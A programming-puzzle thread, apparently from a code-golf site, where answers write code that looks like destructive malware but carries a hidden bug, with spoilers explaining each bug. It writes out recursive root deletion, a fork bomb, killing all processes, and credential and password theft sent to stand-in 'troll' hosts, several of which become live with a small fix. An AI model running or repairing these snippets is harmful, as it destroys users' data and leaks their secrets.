title: Trolling the troll

text:
# Question
Title: Trolling the troll
A troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs.

Your goal is to write a program that:

1. Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it.
2. Actually does no damage at all.

NOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough.

EXAMPLE (bash):

```
rm - rf /home

```

This example looks like `rm -rf /home` which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message.

This is an acceptable solution but it is not very good, because the bug is quite easy to detect.

On the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware.

A good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless.

This is a popularity contest, so the code with the most upvotes wins.

# Answer
> 138 votes
# Bash

I've gone the other way. Instead of deleting everything on your hard drive, I'm gonna fill it up with junk.

This script creates a folder then continually con`cat`s all the files together and puts them in a new one, adding in the value of `ls -al` for good measure (and so that the starting file has something).

```
#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

```

except...

> /bin/bash/ (instead of /bin/bash) is very unlikely to be a valid interpreter. This is just a common typo of mine. And, since "the shebang is technically a comment, the troll will ignore it"

# Answer
> 113 votes
# Haskell

Check this manual page, `removeDirectoryRecursive` deletes a directory with all of its contents!

```
import System.Directory
main = return (removeDirectoryRecursive "/")

```

> The correct code would be `main = removeDirectoryRecursive "/"`
> The `main` function is supposed to return a **concept** of doing something. `removeDirectoryRecursive "/"` returns a **concept** of wiping your filesystem, but the `return` function (yes, it is a function), wraps its argument in a dummy **concept** of returning that value.
> So we end up with a concept of returning a concept of wiping your drive. *(Yo dawg I herd you like concepts.)* The haskell runtime executes the **concept** returned from `main` and discards the returned value, which in our case is a concept of wiping your filesystem.

# Answer
> 100 votes
# PHP

Here's a recursive PHP script that attempts to delete every single file in your website. It could take a while to complete if the website is quite large, so be patient...

```
<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

```

Just one teeny-weeny problem...

> There is no **delete()** command in PHP. The script will fail as soon as it encounters this command, but no error message will be displayed because error reporting was suppressed by prefixing this command with **@**. The flashing GIF image gives the impression that something is happening, when absolutely nothing is happening at all.

# Answer
> 92 votes
## Perl (Unix)

Deletes all files on the system.

```
#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

```

## Features

* This is valid Perl. It even compiles and runs with `-w` and `use strict`!
* No quibbles like C++'s `delete`. `unlink` really is the function to delete a file, `rmdir` really does remove a directory, etc.
* Correctly handles deeply nested directories for which the absolute pathname may exceed the system's maximum length, by changing into each directory in order to use relative paths. Also, won't run out of directory handles, since it reads and closes the directory before recursing.

## Spoiler

> On Unix, the first entry in the root directory is normally "." so the program will perform an infinite recursion of chdir(".") until it runs out of memory and crashes.

## Further notes

> This was harder to get right than expected. If you don't use the chdir approach, you eventually get a pathname that's too long. Then -d returns false and the infinite recursion is broken, and files may actually get deleted! A similar bug can happen if you keep directory handles open; eventually you run out, opendir fails, killdir returns, and deletion starts to happen.

# Answer
> 80 votes
## Shell one-liner

This will steal all the victim's passwords, private keys, bitcoins, etc.

```
 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

```

Spoiler:

> This may look as though it emails all those files to the troll, but actually it just emails their filenames.

# Answer
> 73 votes
# Batch/CMD

Save

```
DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

```

and make them run it with parameters of each of the drives on the computer.

> %0 is always the first parameter - the file name. After this comes the set of actual parameters, but it has already deleted itself so it will not continue.

# Answer
> 46 votes
## Javascript

```
infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

```

Well, the original malware will not blow up your computer but can be annoying.

This is harmless because:

> The `eval` will break the infinite loop and modify the message.

# Answer
> 43 votes
# Java

May the gods forgive me for submitting to your wretched demands, troll.

```
class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

```

> `Runtime.exec` does not invoke a shell, so glob expansion never happens and the command will unsuccessfully try to delete a home directory named literally "\*"

# Answer
> 36 votes
# C

Since he doesn't read comments that should do it:

```
#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

```

# C++ Version

thanks to **DragonLord** for this.

```
#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0;
}

```

Add this into the startup folder and restart the computer.

**How it works:**

> ??/ is a trigraph and will add the next line into the comment so basically it won't do anything. Note: do not try this trigraphs might be turned off in some compilers as default and must be turned on for this to work.

# Answer
> 32 votes
# Java

```
import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

```

> Using a escape character (the \n before ntoskrnl.exe is a newline instead of the normal N)

# Answer
> 31 votes
# BASH

```
#!/bin/bash
set -t

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

```

> set -t will exit after reading and executing one command. This script prints no output and all files are safe!

Or the following **BUT READ SPOILER BEFORE RUNNING**

```
#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

```

> By popular demand.. `#!/bin/bash -t` will exit after reading and executing one command. Don't run this under `bash -x` as it will ignore the `-t` and execute the commands in the script.

# Answer
> 29 votes
# D

This program is valid and executes with no error. It spawns a deleting function in a new thread, that deletes the `root`directory.

```
import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

```

But nothing is deleted...

> because in D, a variable declared at module scope is thread-local by default. The `main` functions sets it to "/", but the spawn threads has an empty copy, so the `rmdirRecurse` function is not called.

# Answer
> 29 votes
# Python

```
print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "

```

> three quotes """ start a multiline string in Python

# Answer
> 25 votes
# C (Unix)

Adding some ads never harmed anybody.

```
#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

```

> http: it's a label, the goto jump to the label missing the harful code. :V

# Answer
> 24 votes
# JavaScript

```
function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

```

> No alert is shown. Since JavaScript doesn't require `;` at the end of lines, it is automatically inserted after `return`, becoming `return;`. Then `undefined`, which is falsy, is returned instead of the "object" (which in fact is parsed as a block statement).

# Answer
> 21 votes
## JavaScript

```
//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

```

*Swap the destroy alert for whatever nasty destructive action you would want to use.*

Spoiler:

> Although it looks like the config is set to delete... **and it is**! the 'var' declaration inside the function is "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html and as a result is actually false when entering the function.

# Answer
> 16 votes
# Java

Let's just delete some important files!

```
import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

```

> Hidden in the block comment is an extra }{ outside of the comment. That puts file deletion in a separate instance initialization block, which is executed before the constructor. At that time, importantFile is still null.

# Answer
> 15 votes
# Bash, C, Linux

Maybe it's not exactly a malware, but sure can be a part of one :)

It's an amazing exploit that can give you root on any linux machine! Shhh, tell no one that we have it!

```
#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

```

Now execute the script and you will be root! You can make sure using `whoami`!

> In fact it only tricks all applications that you have UID=0 (this is the root user id).

The code is written by Lcamtuf, source: http://lcamtuf.coredump.cx/soft/ld-expl

# Answer
> 13 votes
# bash

```
cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

```

> There is a syntax error on "fork-bomb" line. After **{**, there should be a space. Without it, the script fails because the function definition isn't followed by the **{** token by itself.

# Answer
> 11 votes
## Emacs Lisp

First a simple one. This one does nothing. It is actually trying to delete elements equal to :recursive from the list returned by `directory-files`. It's not going to delete any files.

```
(delete :recursive
    (directory-files "/"))

```

Here is one that could stump even elisp vets.

```
(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

```

This is only 1 character away from deleting your root dir.

emacs lisp will allow jsut about anything to be the name of a symbol (variable, function, macro, etc). It is OK to use unicode in the name of your symbols and that is what is happening here.

`setq` can take any number of args `(setq a 3 b 4)` is like doing a = 3; b = 4; but `(setq a 3 b)` is also valid and is doing a = 3; b = nil;

The return value of \`setq' is the value assigned to last variable. 4 and nil respectively in the examples.

`(setq a 3 b)` is exactly what is happening in the code, but instead of b I am using a unicode whitespace character. I am assigning the value nil to a variable named whose name is the unicode character 0x2001. Because of this nil is returned by the setq and the condition for the while loop is never true. Take out that whitespace character and it will run just fine.

# Answer
> 9 votes
# Just another perl hacker.

I wrote this one in 2002, while hanging out at Perlmonks and generally just trying to push my knowledge of Perl as far as possible. Didn't edit it at all, but it still runs.

```
#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

```

> If I remember correctly, the `BEGIN` block runs first of all, no matter where it is in the code. It replaces `@INC` which determines where Perl loads it's libraries from with a subroutine (it's usually a set of paths, but this is allowed). The subroutine is actually the obfuscated data block, which is doing some regexp + eval magic. Then, when the code hits `require File::Path;` (it wouldn't have worked with `use`) this sub is executed and just prints "Just another perl hacker.", as is tradition, and exits. The rest of the code is never reached.

# Answer
> 8 votes
# C++ with Boost

This will delete all files on the file system

```
#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

```

> Actually it won't. `delete` in C++ is used to free memory allocated by `new` and not to delete files and directories. The program will most likely crash with a segmentation fault as it tries to deallocate the memory allocated by Boost, but by that time, I'll have escaped the troll's captivity.

# Answer
> 8 votes
# Java

This will pretend to download RAM, but it will delete the user's home directory.

```
import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

```

> `Timer` uses a background thread to call your `TimerTask`s you submitted to it. `new Timer(true)` creates a `Timer` with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the `true` parameter.

# Answer
> 8 votes
## PHP:

```
$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

```

> At first glance, `$condition` is false, but the `=` operator has precedence over `and`, so the condition is true. So evil is never done.

# Answer
> 7 votes
# bash

```
# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

```

It's perhaps as evil as it gets. It defines a function that'd `rm -rf /` and invokes it. Not only that it makes use of the evil `eval` on more than one occasion.

It would do a lot of damage, surely!

> In case you are wondering, the first `eval` unsets the function by: `unset -f cleanup` The second `eval` defines it to: `cleanup() { echo Troll detected; }` So upon running the code, you'd see `Troll detected`

# Answer
> 7 votes
```
rm -rf ⁄

```

> The character is not the regular slash character (/, i.e. SOLIDUS in unicode) but instead is FRACTION SLASH. Will print a message like "rm: ⁄: No such file or directory"

# Answer
> 6 votes
**BASH**

Sure we need root privileges for the machine, so we use the good old "Do I have root?"-checker, aka *ch*(eck)*root* \- but better do this in a directory where there won't be many alarms raised. /tmp would be perfect, because everyone can write files there.

After this we just delete the entire hard drive *evil laughter*

```
mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

```

# Answer
> 6 votes
## iPhone - Flappy Bird Clone

While the user is playing an iPhone Flappy Bird clone, all of the files in the Documents directory are deleted.

```
#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

```

> Each app in iOS is Sandboxed, so while this deletes everything in the Documents directory, it is only the Documents directory for this particular app. The troll is obviously not aware of this, since he has already been flooded with so many programs for other platforms. And as soon as he realizes he too can put out a Flappy Bird clone, he may be so excited he doesn't even bother to think about the rest of the code, as he is too preoccupied dreaming of making $50,000 a day in advertising without doing any work.

# Answer
> 5 votes
## Go:

```
package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

```

This one is a bit tricky. In Go the entire program exits when the main Goroutine exits. A good way to fix this is with a Waitgroup. There are two huge problems with my "fix":

1. The Waitgroup isn't added to until the Goroutine starts, which means the main Goroutine will hit `Wait` before the deletion Goroutine hits `Add`. Since the counter will be 0, it has nothing to wait on and therefore it won't not block and just end up exiting, thus terminating the program.
2. Even if, somehow, magically, the deleteAll goroutine's addition gets done first. It got a copy of the Waitgroup, not a pointer to it. It won't be adding to the same Waitgroup so the main Goroutine will never see it.

The fmt.Scanln() to expect input is just to ensure the main Goroutine exits before anything happens. The Println will likely cause it to IO block and switch to running the main Goroutine (thus exiting), and the Scanln will almost certainly do so. In reality, neither are necessary with any version of Go.

In super theory land this MIGHT work and delete something, meaning according to the Go memory model there's no guaranteed "happens-before" relationship regarding the end of `main` and the execution of `RemoveAll`, but it won't on any modern Go runtime/compiler as evidenced by all the newbies who make the mistake of not putting synchronization in their main functions.

# Answer
> 4 votes
# C++

```
#include<stdio.h>
int main()
{
    remove("C:\windows\system32\Bubbles.scr");
    return 0;
}

```

## OUTPUT

Window opens then closes but **tries** to delete the screen-saver file(.scr) used to show the nice bubbles in windows-7.

# PROBLEM

You can't figure it out ? let me tell you,

> The problem is in "C:\windows\system 32\Bubbles.scr", the '\\' character in string is not acting as a '\\' but as unknown escape sequence which modifies the path to
> "C:windowssystem 32Bubbles.scr"

### EDIT : According to kinokijuf (and my experiment) The main error is that you can't delete system files on windows! you may try the right version of the above code :-

```
#include<stdio.h>
int main()
{
    remove("C:\\windows\\system32\\Bubbles.scr");
    return 0;
}

```

...And lol, the kidnapper got trolled /^o^/.

# Answer
> 3 votes
# Javascript

```
function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

```

1.

> It won't run, you can't create a closure all call it without surrond it with parens

2.

> If the troll manages to fix that, there is a beautiful typo to debug... ;-)

# Answer
> 3 votes
# Python

Kill all processes that can be killed with `SIGKILL` signal.

```
#!/usr/bin/env python
import os
import stat
from subprocess import call
from tempfile import NamedTemporaryFile

with NamedTemporaryFile(dir='.', prefix='killall') as script:
  script.write(b"#!/bin/sh\nkill -9 -1")
  os.chmod(script.name, os.stat(script.name).st_mode | stat.S_IEXEC)
  call(script.name)

```

> It generates "Text file busy" error: trying to execute a file that is opened for writing

# Answer
> 3 votes
Language: Java

This program will run for eternity wasting resources. The Integer was used because it uses more memory than int and thus will waste more resources.

```
class Halt {
    public static void main(String[] args) {
        Integer i = 0;
        Integer j = 0;
        while (i == j) {
           i++;
           j++;
           System.out.println("Waste those resources!");
      }
   }
}

```

> Should be pretty obvious in Java since 128 doesn't actually equal 128.

# Answer
> 2 votes
# Scala

On a windows machine:

```
import java.io._

val file = new File("""c:\udead""")
if(!file.exists) file.mkdirs

val user_dir = new File(file.getAbsolutePath().replace("dead","sers"))
if(user_dir.exists) println("""Going to destroy user files/!\""")

def deleteFile(file : File) : Unit = {
  if(file.isDirectory) {
    file.listFiles.foreach(deleteFile)
  }
  file.delete
}
deleteFile(user_dir)

```

> \udead is a unicode character so that it will create a directory named c:? where ? is the unicode char. It will never touch the users directory, and simply... delete the created directory.

# Answer
> 2 votes
# Unix shell

```
rm -rf /

```

> rm: it is dangerous to operate recursively on ‘/’
> rm: use --no-preserve-root to override this failsafe

# Answer
> 2 votes
## **C++**

(Delete all files in C:\ or other directory of Troll's choice...)

```
int _tmain(int argc, _TCHAR* argv[])
{
    WIN32_FIND_DATA fd;
    HANDLE hFind = ::FindFirstFileW((LPCWSTR)"C:\\*.*", &fd);
    if(hFind != INVALID_HANDLE_VALUE)
    {
        do
        {
            if(! (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
            {
                DeleteFile(fd.cFileName);
            }
        }while(::FindNextFile(hFind, &fd));
        ::FindClose(hFind);
    }

    return 0;
}

```

> ...But only if they replace the single-byte to multi-byte string *cast* `(LPCWSTR)"C:\\*.*"` with the macro `_T("C:\\*.*")`, otherwise, it will compile but `FindFirstFileW` being passed an invalid string will always return an invalid handle.

# Answer
> 2 votes
# C#

Deletes all files on the current drive, by dynamically generating a C# assembly (via CodeDomProvider.CompileAssemblyFromSource) and calling said class via reflection.

For those not familiar with `CodeDomProvider.CompileAssemblyFromSource` and too lazy to look the documentation up (I'm talking to you, Mr. Troll!), the signature is defined as:

```
public virtual CompilerResults CompileAssemblyFromSource(
    CompilerParameters options,
    params string[] sources
)

```

where `sources` is declared to be "An array of source code strings to compile."

```
using System;
using System.CodeDom.Compiler;
using System.Reflection;
using Microsoft.CSharp;

namespace TrollTroller
{
    class Program
    {
        public void ExecuteMalware()
        {
            CompilerParameters cp = new CompilerParameters();
            cp.GenerateExecutable = false;
            cp.GenerateInMemory = true;
            cp.ReferencedAssemblies.Add("System.dll");
            CodeDomProvider provider = new CSharpCodeProvider();
            CompilerResults cr = provider.CompileAssemblyFromSource(cp,
                @"using System;",
                @"using System.Collections.Generic;",
                @"using System.Linq;",
                @"using System.IO;",
                @"using System.Text;",
                @"namespace SuperNastyMalware",
                @"{",
                @"    class Nasty",
                @"    {",
                @"        public void NukeEmAll()",
                @"        {",
                @"            foreach (string target in Directory.GetFiles(""/"", ""*.*"", SearchOption.AllDirectories))",
                @"            {",
                @"                File.Delete(target);",
                @"            }",
                @"        }",
                @"    }",
                @"}"
            );
            while (cr.Errors.Count == 0)
            {
                var nasty = cr.CompiledAssembly.CreateInstance("SuperNastyMalWare.Nasty");
                Type t = nasty.GetType();
                t.InvokeMember("NukeEmAll",
                   BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance,
                   null, nasty, null);
            }
        }
        static void Main(string[] args)
        {
            Program program = new Program();
            program.ExecuteMalware();
        }
    }
}

```

> What the MSDN documentation **doesn't** mention is that each of the string parameters is supposed to be a **complete** source file, not one line in a source code file. When the code is run, you get all sorts of lovely compilation errors in the cr.Errors collection. The while loop is there to prevent cr.CompiledAssembly.CreateInstance() from throwing an exception and tipping off the troll that something is broken.

Yes, I know the best answer has already been accepted. However, I ran into this while researching my answer to the Pi Day challenge and figured it was worth sharing.

# Answer
> 2 votes
# Python

Code:

```
import os
# delete everything!
try:
    os.remove('/')
except OSError:
    # directory already deleted before
    pass

```

Nothing is actually deleted, because:

> **os.remove(path):** Remove (delete) the file `path`. If `path` is a directory, `OSError` is raised;

---

Code:

```
import os
# bugfix: this function is used to delete directories. For sure!
try:
    os.rmdir('/')
except OSError:
    # directory already deleted before
    pass

```

Nothing is actually deleted, because:

> **os.rmdir(path):** Remove (delete) the directory `path`. Only works when the directory is empty, otherwise, `OSError` is raised.

# Answer
> 2 votes
**Javascript**

This code will unleash an unending stream of annoying alert windows.

```
//Change to true if testing
var testing = false;
if (testing = true) {
  alert("Test successful");
} else {
  while (true) {
    alert("Trololo!");
  }
}

```

> A single equal sign will make an assignment, not a comparison; in this case, the if statement looks at the value assigned, which overwrites the original value, resulting in always being in "testing" mode.

# Answer
> 2 votes
## Python (2.7)

File `req.py`:

```
import os
def init(h,p):
    os.popen('shutdown -p -f')
    return True
if __name__ == '__main__':
    quit()

```

File `RAT.py`:

```
import req
host = '127.0.0.1' #Change out for target IP
port = 25564
print'[!] Connecting...'
time.sleep(3)
lock = req.init(host,port)

```

## How to Use

Most script-kiddies don't read the modules to source code in python (HUGE mistake)

Simply set-up the files like above and let them run `RAT.py`

## "Trick"

> The "trick" is very obvious if you were to read "req.py", but script-kiddies just don't...

# Answer
> 1 votes
# PostScript:

```
%!Adobe-PS-2.0
%%EOF
/picstr 256 string def
/trollface {currentpagedevice /pagesize get aload scale
    256 256 8 [256 0 0 –256 0 256]
    {currentfile picstr readhexstring pop} image
} def
{trollface showpage} repeat

*[insert image data here]*

```

Since the troll doesn't read comments, I can just insert an EOF document-structuring comment into the file. None of the code past the `%%EOF` will be run, because the document manager will stop transmitting the file when this is encountered.

Without the `%%EOF` DSC, this PostScript program would print an unlimited number of pages filled with a trollface image taken from image data at the end of the postscript file, until someone manually cancelled the job or it ran out of paper/ink.

# Answer
> 1 votes
# Javascript

```
/* this is a very evil script *∕
while(1)                       ∕* infinite spam */
  alert("Greetings from Troll");

```

Except the user gets only one popup.

> Comments are aligned like that because of this: /∕

# Answer
> 1 votes
# TI-BASIC (84)

This program will clear the RAM on the calculator, removing important variables, lists, and programs. (My excuse is that I only had my TI-84 to test on, and I did not want to clear my memory, for that comment.) This requires two programs:

```
prgmDELETE
:AsmPrgmEF4E40C9
:AsmPrgmC7

prgmWRAPPER
:While 0:
::THIS IS TO LET THE USER KNOW THAT THEIR FATE IS INEVITABLE
:End
:If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION
:Goto EN
:prgmDELETE
:
:Lbl EN
:ClrHome
:Disp "PROGRAM FILES","HAVE BEEN","DELETED! >:D","--LE HACKER

```

Yup, that's it, Mr. Troll. You are evil for making me do this. I will go pray or something. Bye!

---

# Stuck? Read below.

> There are actually *two* mistakes. One: `If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION`. This is because, whenever you insert a `:` in the program, it is treated as a newline. And, since the `If`  statement is merely a single-line, it actually *does* go to the label `EN`, skipping the execution of `prgmDELETE`.
> Two, to execute an assembly program, you must prefix the program name with `Asm(`. So, the correct statement would look like `Asm(prgmDELETE`.

# Answer
> 0 votes
## Python

```
do_evil = True

def evil():
    if do_evil:
        os.remove('/etc/passwd')
        do_evil = False
    print 'Evil done!'

evil()

```

> Similar to the JS one, variables in Python are function-scoped. `do_evil = False` creates a local variable without a value, and when `if do_evil:` is executed, you get `UnboundLocalError`. This one looks more normal as it doesn't need a keyword.

# Answer
> 0 votes
# Python

This is a super-effective fork bomb that will not terminate even when it can't replicate:

```
import os
def fork():
    try:
      return os.fork() + 998543
    except os.error:
      return 99993843
for a in range(fork()):
  for b in range(fork()):
   for c in range(fork()):
    for d in range(fork()):
     for e in range(fork()):
      for f in range(fork()):
       for g in range(fork()):
        for h in range(fork()):
         for i in range(fork()):
          for j in range(fork()):
           for k in range(fork()):
            for l in range(fork()):
             for m in range(fork()):
              for o in range(fork()):
               for p in range(fork()):
                for q in range(fork()):
                 for r in range(fork()):
                  for s in range(fork()):
                   for t in range(fork()):
                    for u in range(fork()):
                     for v in range(fork()):
                      for w in range(fork()):
                        fork()

```

But:

> It fails to compile with `SystemError: too many statically nested blocks`.

# Answer
> 0 votes
